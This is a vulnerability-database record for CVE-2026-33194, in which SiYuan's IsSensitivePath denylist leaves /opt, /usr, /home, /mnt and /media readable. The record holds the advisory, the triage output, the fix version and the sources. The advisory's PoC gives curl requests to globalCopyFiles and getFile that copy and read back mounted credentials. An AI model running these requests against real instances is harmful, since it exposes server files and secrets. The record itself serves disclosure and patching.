{"id":"CVE-2026-33194","kind":"vulnerability","aliases":["CVE-2026-33194","GHSA-vm69-h85x-8p85"],"related":[],"title":"SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)","description":"## Summary\n\nThe `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace.\n\n## Details\n\nCurrent denylist in `kernel/util/path.go:391-405`:\n\n```go\nprefixes := []string{\n    \"/.\",       // dotfiles\n    \"/etc\",     // system config\n    \"/root\",    // root home\n    \"/var\",     // variable data\n    \"/proc\",    // process info\n    \"/sys\",     // sysfs\n    \"/run\",     // runtime data\n    \"/bin\",     // binaries\n    \"/boot\",    // boot files\n    \"/dev\",     // devices\n    \"/lib\",     // libraries\n    \"/srv\",     // service data\n    \"/tmp\",     // temp files\n}\n```\n\n**NOT blocked:**\n- `/opt` — commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself.\n- `/usr` — contains `/usr/local/etc`, `/usr/local/share`, custom configs\n- `/home` — other users' home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users' homes are accessible)\n- `/mnt`, `/media` — mounted volumes, network shares, often containing secrets\n- `/snap` — snap package data\n- `/sbin`, `/lib64` — system binaries/libraries\n\nThe `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation:\n\n```go\nif util.IsSensitivePath(absSrc) {\n    // reject\n    continue\n}\n// File is copied into workspace — then readable via /api/file/getFile\n```\n\n## PoC\n\n```bash\n# Read SiYuan's own application files from /opt (Docker deployment)\ncurl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \\\n  -H 'Authorization: Token YOUR_API_TOKEN' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"srcs\":[\"/opt/siyuan/kernel/SiYuan-Kernel\"],\"destDir\":\"data/assets\"}'\n\n# Then read the copied file from workspace\ncurl -s 'http://127.0.0.1:6806/api/file/getFile' \\\n  -H 'Authorization: Token YOUR_API_TOKEN' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"path\":\"data/assets/SiYuan-Kernel\"}'\n\n# Read files from mounted volumes\ncurl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \\\n  -H 'Authorization: Token YOUR_API_TOKEN' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"srcs\":[\"/mnt/secrets/credentials.json\"],\"destDir\":\"data/assets\"}'\n```\n\n## Impact\n\n- Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path\n- In Docker deployments: read application source code, configs, mounted secrets\n- The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked\n\n## Recommended Fix\n\nSwitch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:\n\n```go\nfunc IsSensitivePath(p string) bool {\n    absPath := filepath.Clean(p)\n\n    // Allowlist: only workspace and configured safe directories\n    if strings.HasPrefix(absPath, WorkspaceDir) {\n        // Block workspace-internal sensitive paths (conf/)\n        if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, \"conf\")) {\n            return true\n        }\n        return false\n    }\n\n    // Everything outside workspace is sensitive by default\n    return true\n}\n```","summary":"SiYuan's file-copy endpoints check requested paths against a denylist that leaves out /opt, /usr, /home, /mnt and /media. An attacker holding the API token can copy files from those locations into the workspace and read them back.","severity":"medium","cvss":6.8,"epss":0.00508,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/siyuan-note/siyuan/kernel","fixed":["3.6.2"],"affected":"<= 3.6.1","ecosystem":"go"},{"name":"b3log siyuan","fixed":["3.6.2"],"affected":"< 3.6.2","ecosystem":"vendor"}],"ecosystems":["go","vendor"],"tags":["cwe-22","docker","go","package","self-hosted","siyuan"],"not_affected_if":["version-3.6.2-or-later"],"how_to_check":"- Check the SiYuan version: affected builds are `3.6.1` and earlier.\n- Check whether the API port (`6806` in the PoC) is reachable from outside the machine or container.\n- Check whether the Docker deployment mounts secrets or other volumes into the container.","fix":"- SiYuan kernel (`github.com/siyuan-note/siyuan/kernel`): `3.6.2`","status":"open","published_at":"2026-03-18T20:10:44+00:00","first_seen_at":"2026-11-05T21:34:22+00:00","triaged_at":"2026-11-05T21:35:04+00:00","updated_at":"2026-11-05T21:40:46+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-05T21:35:04Z","model":"claude-haiku-5-5","output":{"fix":"- SiYuan kernel (`github.com/siyuan-note/siyuan/kernel`): `3.6.2`","reach":"network","title":"SiYuan: incomplete path denylist lets file copy read /opt, /usr, /home","impact":"medium","summary":"SiYuan's file-copy endpoints check requested paths against a denylist that leaves out /opt, /usr, /home, /mnt and /media. An attacker holding the API token can copy files from those locations into the workspace and read them back.","audience":"everyone","category":"package","nicknames":[],"who_cares":["siyuan","self-hosted","docker","go"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker reads arbitrary server files, including mounted secrets.","analyst_note":"","how_to_check":"- Check the SiYuan version: affected builds are `3.6.1` and earlier.\n- Check whether the API port (`6806` in the PoC) is reachable from outside the machine or container.\n- Check whether the Docker deployment mounts secrets or other volumes into the container.","plain_action":"Update SiYuan to version 3.6.2 or newer.","needs_analyst":false,"not_affected_if":["version-3.6.2-or-later"],"who_is_affected":"SiYuan kernel 3.6.1 and earlier exposes the globalCopyFiles and importStdMd endpoints, which rely on IsSensitivePath to block reads outside the workspace. Systems that run SiYuan, especially Docker deployments with mounted volumes or application files under /opt, are the ones to look at. Instances on 3.6.2 or later are not affected.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.001515,"input_tokens":5772,"output_tokens":1876,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-2026':23A,31A '-22':39B '-33194':24A,32A '-405':159C '/.config':227C '/.ssh':225C '/api/file/getfile':287C '/bin':181C '/boot':183C '/dev':186C '/etc':164C '/home':15A,64B,127C,219C,377C '/lib':188C '/lib64':257C '/media':67B,132C,244C,379C '/mnt':65B,130C,243C,378C '/mnt/secrets/credentials.json':367C '/opt':13A,62B,121C,198C,297C,375C '/opt/siyuan':208C '/opt/siyuan/kernel/siyuan-kernel':317C '/proc':173C '/root':167C '/run':178C '/sbin':256C '/siyuan-note/siyuan/kernel':35A '/snap':252C '/srv':190C '/sys':176C '/tmp':193C '/usr':14A,63B,124C,213C,376C '/usr/local/etc':215C '/usr/local/share':216C '/var':170C '127.0.0.1':302C,329C,352C '391':158C '6806/api/file/getfile':330C '6806/api/file/globalcopyfiles':303C,353C '82':265C '8p85':29A '9914fd1':107C 'abspath':441C,453C,464C 'abssrc':276C 'access':242C,409C 'add':405C 'allow':9A 'allowlist':421C,444C 'api':72B,308C,335C,358C 'applic':122C,201C,211C,294C,391C 'application/json':314C,341C,364C 'approach':96C,399C,422C 'approv':432C 'arbitrari':372C 'attack':69B 'author':305C,332C,355C 'b3log':36A 'back':86B 'bash':289C 'binari':182C 'binaries/libraries':259C 'block':119C,197C,233C,412C,455C 'bool':440C 'boot':184C 'bypass':21A 'check':53B,236C 'code':393C 'commit':106C 'common':199C 'conf':461C,467C 'config':166C,218C,394C 'configs/binaries':126C 'configur':448C 'contain':200C,209C,214C,250C 'content':312C,339C,362C 'content-typ':311C,338C,361C 'continu':278C 'copi':51B,75B,281C,323C,425C 'credenti':204C 'curl':300C,327C,350C 'current':154C,230C 'custom':217C 'cve':22A,30A 'cwe':38B 'd':315C,342C,365C 'data':123C,172C,180C,192C,202C,255C 'data/assets':319C,369C 'data/assets/siyuan-kernel':344C 'databas':203C 'default':478C 'defens':146C 'denylist':8A,58B,95C,155C,385C,398C,418C 'deploy':299C,389C 'destdir':318C,368C 'detail':153C 'devic':187C 'directori':116C,223C,429C,450C 'docker':40B,207C,298C,388C 'dotfil':163C 'endpoint':52B,139C,262C 'everyth':472C 'expand':100C 'explicit':411C,431C 'extern':433C 'fals':471C 'file':10A,50B,76B,149C,185C,195C,279C,295C,324C,346C,373C 'file-copi':49B 'filepath.clean':442C 'filepath.join':465C 'filesystem':406C 'fix':5A,414C 'flaw':402C 'func':436C 'function':90C 'fundament':401C 'ghsa':17A,26A,102C 'ghsa-h5vh-m7fg-w5h6':16A,101C 'ghsa-vm69-h85x-8p85':25A 'github.com':34A 'github.com/siyuan-note/siyuan/kernel':33A 'globalcopyfil':136C,261C 'go':41B,160C,273C,435C 'h':304C,310C,331C,337C,354C,360C 'h5vh':18A,103C 'h85x':28A 'hold':70B 'home':169C,222C,240C 'homedir':231C 'host':45B 'impact':370C 'importstdmd':138C 'includ':120C 'incomplet':4A,110C 'info':175C 'intern':458C 'issensitivepath':7A,89C,142C,267C,437C 'kernel/api/file.go':264C 'kernel/util/path.go':92C,157C 'leav':60B 'librari':189C 'linux':115C 'local':125C 'locat':79B 'm7fg':19A,104C 'mount':133C,245C,348C,395C 'multipl':111C 'network':247C 'newli':404C 'non':384C 'non-denylist':383C 'often':249C 'outsid':150C,473C 'p':438C,443C 'packag':42B,254C 'path':55B,271C,343C,386C,407C,434C,460C 'permit':424C 'poc':288C 'prefix':161C 'primari':145C 'process':174C 'read':11A,84B,148C,290C,321C,345C,371C,390C 'readabl':285C 'recent':99C 'recommend':413C 'reject':277C 'relev':114C 'reli':140C 'remain':109C 'request':54B 'return':468C,470C,479C 'root':168C 'runtim':179C 'safe':449C 'secret':251C,396C 'secur':113C 'security-relev':112C 'self':44B 'self-host':43B 'sensit':459C,476C 'separ':235C 'servic':191C 'share':248C 'siyuan':1A,37A,46B,47B,206C,291C 'snap':253C 'sole':270C 'sourc':392C 'srcs':316C,366C 'string':162C,439C 'strings.hasprefix':452C,463C 'summari':87C 'switch':415C 'sysf':177C 'system':165C,258C 'temp':194C 'token':73B,306C,309C,333C,336C,356C,359C 'true':469C,480C 'type':313C,340C,363C 'use':93C,266C 'user':129C,221C,239C 'util.issensitivepath':275C 'valid':272C 'variabl':171C 'via':234C,286C 'vm69':27A 'volum':134C,246C,349C 'w5h6':20A,105C 'workspac':82B,152C,283C,326C,428C,446C,457C,474C 'workspace-intern':456C 'workspacedir':454C,466C","nicknames":[],"mitigations":[],"who_affected":"SiYuan kernel 3.6.1 and earlier exposes the globalCopyFiles and importStdMd endpoints, which rely on IsSensitivePath to block reads outside the workspace. Systems that run SiYuan, especially Docker deployments with mounted volumes or application files under /opt, are the ones to look at. Instances on 3.6.2 or later are not affected.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"everyone","plain_action":"Update SiYuan to version 3.6.2 or newer.","pkeys":["b3logsiyuan","githubcomsiyuannotesiyuankernel","siyuan"],"ptokens":["b3log","com","github","kernel","note","siyuan"],"labels":["cwe22","docker","go","medium","package","selfhosted","siyuan","vendor"],"campaign_type":null,"first_public_at":"2026-03-18T00:58:46+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-vm69-h85x-8p85","url":"https://github.com/advisories/GHSA-vm69-h85x-8p85","severity":"medium","published_at":"2026-03-18T20:10:44+00:00","modified_at":"2026-11-05T21:33:45+00:00","first_seen_at":"2026-11-05T21:34:22+00:00","fetched_at":"2026-11-05T21:44:26+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-33194","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33194","severity":null,"published_at":"2026-03-20T23:16:45+00:00","modified_at":"2026-06-17T10:37:06+00:00","first_seen_at":"2026-11-05T21:40:46+00:00","fetched_at":"2026-11-05T21:40:46+00:00","note":null}],"documents":[{"id":80303,"url":"https://api.github.com/repos/siyuan-note/siyuan/security-advisories/GHSA-vm69-h85x-8p85","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":80304,"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vm69-h85x-8p85","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-03-18T00:58:46+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":80305,"url":"https://github.com/siyuan-note/siyuan/commit/501571c2d22bb1207ea5da3450a903434026256b","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"exploit_sources":[{"type":"epss","score":0.00508,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33194"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}